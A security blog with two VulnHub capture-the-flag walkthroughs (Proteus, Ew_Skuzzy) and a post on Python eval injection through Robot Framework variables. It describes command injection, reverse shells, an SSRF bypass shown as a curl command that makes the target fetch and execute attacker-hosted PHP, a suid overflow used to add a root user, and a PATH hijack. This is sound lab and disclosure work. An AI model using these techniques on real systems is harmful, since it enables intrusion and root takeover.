Friday, June 16, 2017

How I rooted Proteus: 1

Ivanza had prepared a treat for us and published it to vulnhub.com. Here are the steps I used to root it.

First I used arp-scan to determine what IP address the target got:

Then I simply ran nmap (with the default settings) against the target:
Only ports 22 and 80 open. 22 was confirmed to be SSH and 80 was a web server. Here's the default web-page:
I ran nikto and dirb against the target, but they didn't really reveal anything interesting, so I then focused on the file upload for, right in the front page. The service checked the contents of the file and a simple file extension manipulation didn't do the trick. Luckily the front page already told us what is accepted: Mime-types application/x-executable and application/-sharedlib. I made a simple Hello World -application for upload:

When the file was uploaded, the service shows a simple analysis of the file (results of the commands "strings" and "objdump":

Both of the commands are command line utilities, which take the file name as the parameter. Perhaps the file name can be used for os command injection. And sure enough, here's what I sent:
And here's an excerpt of the response:
When I then tried to execute something more complex, the command injection failed. After some probing and prodding, I came to the conclusion that slashes (/) and periods (.) break the command injection. So what could be done without either?

To have unlimited command execution on the target box, I used the following information:

  1. you can provide IP-address for applications (such as curl and wget) in the decimal notation, so you don't need periods and
  2. pythons SimpleHTTPServer module serves the contents of index.html by default
I first calculated the decimal notation of my IP:
 Then I modified my payload as follows:
My index.html only contained a simple "cat /etc/passwd" and here are the results:

Great, now I was able to execute a remote shell. I chose the python reverse shell:

 and set up an nc listener on my own end:

And I had a much more comfortable shell. I then proceeded to fire up a pseudo tty with python (python -c "import pty;pty.spawn('/bin/bash')") and started examining the server.

I eventually found a file called admin_login_request.js
The file comments say that the file is used to impersonate admin, but I still thought that if that password isn't supposed to be used, it will not allow me to access anything. But:
And the user even had sudo rights:
But because of the comment, I thought that there probably is yet another way to admin. And sure enough, there was a root suid binary, which caught my attention.

When I was testing out the file (I downloaded it to my own computer first), I determined that the application takes a single command line argument and writes that to the end of a hard coded log file. If the parameter is too long though, it will overflow to the file name and eventually overwrite it. By passing a value of exactly 456 bytes, you overwrite the filename with NULL (0x00), effectively making the file name an empty string:
So now I can write to any file I choose with root permissions, as long as what I was writing was over 456 characters and didn't contain any spaces or newlines (nor nulls). Since the text was always appended to the target file I thought that I could add a new line to the /etc/passwd file and went with the idea.

Here's the python script I used to exploit the vulnerability:
And here I run the actual exploit
Time to confirm the results:
Win!

Btw, the password has was created with the command "openssl passwd -1 -salt xyz  yourpass".
After obtaining root privileges on the target I found a file flag.png from the /root folder:
So this is it. Thanks for Ivanza for creating the challenge and the good guys at vulnhub for hosting it.

Thursday, June 15, 2017

Pitfalls to avoid in Robot Framework

I recently was working on a vulnerability assessment project, where the developers had used robot framework in the backend for their product. I hadn't had the pleasure to work with robot framework before, so I was eager to start. Robot Framework is a great project, which can be used to automate most of your testing needs.

What I found was a bit worrying for me and lead me to the conclusion that robot framework hasn't been designed to be used with external input.

I will now show you a simplified example of the problem I discovered. Although in my examples I pass values to the scripts variables from the command line, they work in the same fashion if robot framework is called programmatically.

Consider the following simple example:

The code should simply test if the variable "var" is empty and if it's not, the value is then printed to the console. You can run it as follows:
If the variable would've been empty, we would've been missing the "We got: foobar" output.

Simple enough, eh?

The example above contains the issue I discovered in the assessment. Let's say that the variable "var" comes from outside, originally from untrusted source. You might ask: so what? it's just a variable. Technically you would be correct, but what if I told you, that to parse the condition and determine if it's true or not, it will be passed to the pythons eval function? And what if I told you that since Robot Framework 2.8 the sys and os modules are imported by default when evaluating the condition? You might be shocked, but if you aren't let me explain the issue with a few more details.

While performing the assessment, I had a test case, where I only entered a double quote as the value and got the following error:
Evaluating expression '""" != ""' failed: SyntaxError: EOF while scanning triple-quoted string literal (, line 1)

My initial thought was that I managed to break some python script, because the SyntaxError is what python raises. But when you enter the whole exception to google, you see that it's actually coming from the Robot Framework (which calls python in the background).

So, what is entered to the variable called var, is passed to the pythons eval with the surrounding quotes. With the sys and os modules imported by default, we can trivially execute operating system commands, but the injections are blind. For the attacker the default imports are really helpful, after all you can't import new modules from the eval -function. Let's demonstrate it again with another example:
Here we see, that if the python syntax is seemingly correct, we get no errors. You might get the command output with for example os.system call, but that would only print the result to stdout and in the assessment, I never saw any output from my commands, no matter how I called them. When I tried to execute something along the lines of "sleep 20" I was able to confirm that os commands are actually executed. When I have access to the operating system, it becomes much easier:
First, I check that there is no file called bar and that it appears with the echoed contents after calling robot framework.

So, how could I exploit this? If the server is allowed to create TCP connections out to you, then the exploitation becomes trivial. Simply share a backdoor with http, then make the server download it with wget and finally execute it.

I used msfvenom to generate the payload, but anything goes here. Here's what I executed (yea, I'm using localhost for the demo here):
And here's what I see on my SimpleHTTPServer and nc shells:
I think the issue should be clear by now. Naturally I could've just told you to go RTFM.

According to the robot fw documentation:
Many keywords, such as Evaluate, Run Keyword If and Should Be True, accept an expression that is evaluated in Python. These expressions are evaluated using Python's eval function so that all Python built-ins like len() and int() are available. Evaluate allows configuring the execution namespace with custom modules, and other keywords have os and sys modules available automatically.

Currently there's also another way for using variables:
Starting from Robot Framework 2.9, variables themselves are automatically available in the evaluation namespace. They can be accessed using special variable syntax without the curly braces like $variable. These variables should never be quoted, and in fact they are not even replaced inside strings.
Using the $variable syntax slows down expression evaluation a little. This should not typically matter, but should be taken into account if complex expressions are evaluated often and there are strict time constrains.

In my personal experiments, when variables are used with the latter syntax ($var), the injections don't work anymore. So rather than trying to blacklist all the possible ways to inject python code, you might want to use the new syntax and take the the hit from slower evaluation. If I'm mistaken, please leave a comment.

In the examples I've used Robot Framework 3.0.2

From the builtins page you can see that at least the following keywords use evaluation:
  • Continue For Loop If
  • Evaluate
  • Exit For Loop If
  • Pass Execution If
  • Return From Keyword If
  • Run Keyword And Return If
  • Run Keyword If
  • Set Variable If
  • Should Be True
  • Should Not Be True
And no, I have no idea if it's used elsewhere, so don't take the above as a definitive list.

TL;DR think again before passing external data to the robot framework variables.

Tuesday, March 21, 2017

How I rooted Ew_Skuzzy: 1

Ew Scuzzy or Ew SCSI!  


The VM put together by Vortex was a breath of fresh air and pushed me to learning new tricks, so I must tip my hat to him/her!

Here's my way to rooting it.
First, naturally, we start with nmap scans:

iscsi seems a bit out of place, I can't remeber if I've ever seen it on any CTF! But let's start with the familiar things: head to port 80 with firefox:
Let's do as the good VM suggests, and fire up dirbuster or dirb in my case.
I used the common.txt wordlist, which comes along with dirb and in a couple of seconds it had discovered a file, deep in the depths of a long path. Naturally I check it with firefox:
Naturally I view also the source and find something that looks like a base64 encoded string:


The string decoded:

Nothing really?! I also checked the image, but found nothing interesting. Nice trolling :)

I then fired nikto and the usual against the web server but found nothing interesting so I had to start investigating the other 2 services. I wasn't able to find anything interesting in the SSH so next stop was iscsi. Now for this I had to google a bit and landed on Ubuntu documentation about iSCSI Initiator. I was in luck since the open-iscsi was also found in the Kali repositories, so the installation was as simple as running "apt-get install open-iscsi".

Then I tried to mount the iscsi and with the ubuntu documentation mentioned above, I managed to do it without a hitch. First I ran the discovery:
 Then login (which succeeded without any credentials):
 Then just checked that we got a new scsi device (dmesg|tail):
 And finally, I proceeded to mount the new device:

The first three flags!

First things first, I checked the flag:
Then mounted bobsdisk.dsk, which seemed to be ext2 image:

Time to read Alice's mail:

The text is probably referring to AES, but also hints ROCKYOU, symmetric crypto and -md sha256. And also flag2!

The next step was a pain. I thought that I could use openssl to decode the files and eventually was correct. Too bad I had to leave my VM running overnight to do it...
I first started with the following bash script:
But then I realized that if I get really many possible password candidates, I have to wait again for a long time to re-run the decryption with all the possible candidates, so I updated the script a bit to delete each crated file when the decryption failed.

The next morning I came back and ran 
file decr/* |grep ASCII
and discovered what I was looking for:

The third flag and references to web-paths. Time to fire up the browser again!

Get a shell from the web!

The first checked URL was http://192.168.56.104/5560a1468022758dba5e92ac8f2353c0/

Humm? Ok, let's view the source:
Yet another base64 encoded string, yet another troll :D

Right, time to check the other URL:
Now this looks more promising! Let's first check the flag:

yea, I should've known that it can't be that easy.
The way the site works, makes me think that there could be an LFI in place. Also the reader.php looks interesting, after all it's referencing to the read file via a http URL reference!

I first try to simply set up a HTTP listener on my box and refer to it, but then I get a complaint about a missing key. Time to investigate the LFI.

It turns out that I can read the PHP source using php filter conversions. So time to check the source of the reader.php:
It seems that when the url refers to other sites than localhost, the script expects a key, which is 47 characters long and the sha256 matches with the secret above. 

Bruteforcing a passcode of 47 characters? Ain't nobody got time for that!

After a nice hot cup of Try Harder! I dawns to me: the regexp only checks that the URL starts with 127.0.0.1 but doesn't have a forward slash (/) after it! So if I make an url like:
http://127.0.0.1@192.168.56.103/ 
it should contact my box. And what do you know, it works!

When you read the reader.php source code in full, you can find out that anything between ##php## will be executed using phps eval-function. So I create a file which should display phpinfo and serve it via HTTP:

win!

Now that we can run php and have the output of phpinfo at hand, I first check if there are any limitations for the functions we can call. It turns out that there is, but we can call for example the system-function, thus I created the following code:

Now, fingers crossed, I run curl 
"http://192.168.56.104/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1@192.168.56.103/&c=ls"
and here's the relevant extract of the output:
Then for convenience's sake, I create a reverse shell executable with msfvenom, upload it to the target and get an interactive shell. This is also usually a requirement for many privilege escalation exploits.

Shell, privilege escalation and flags 4 & 5

Now when we can more easily check files I re-check all the php codes and find the next flag on flag.php

What do you mean "Next step, SHELL!", I already got a perfectly good one here. Perhaps it's a password for some of the users? Check passwd:

Nope, doesn't work for skuzzy nor for root. That would've been too easy. After all the skuzzy can run sudo:

Time to get root! Gather some info about the system:

The privesc methods I found for Ubuntu 16.04 didn't work, so I enumerated the usual things:
  • All the running processes
  • open ports
  • installed packages
  • suid files
There seems to be an odd suid file in place, which is probably the next step. When I ran the following command: 
find / -xdev -perm /6000 \( -user root -o -group root \) 2>/dev/null
I discovered the alicebackup:
I tried to execute it, got the output of id-command and a failure about host name resolution:

But hey, we were root for a microsecond or so! :D
Luckily ltrace was found on the server, so I could see what it executes on runtime:
So it's running id but it trusts the users environment variable PATH! Classic.
I update the path so that /tmp is the first folder in it and move the reverse shell executable to /tmp/id, set up a nc listener and re-run alicebackup. Got root? 

Time to find the last flag. Check the /root folder first:
and finally, check the flag:
we have the final flag!

Thanks for Vortex for the VM and g0tm1lk for hosting vulnhub! 
Some feedback: I found the trolling fun because it wasn't over the top. I didn't really care about the file decryption, because it took so much time on my rig, but the hints were good enough to be reasonably sure I was on the right path when doing it. iSCSI initiator was not a problem, just a chance to learn something new!
I think that the challenge level and the length was pretty much spot on: I couldn't do everything immediately, but on the other hand, I wasn't stuck on anything for too long either.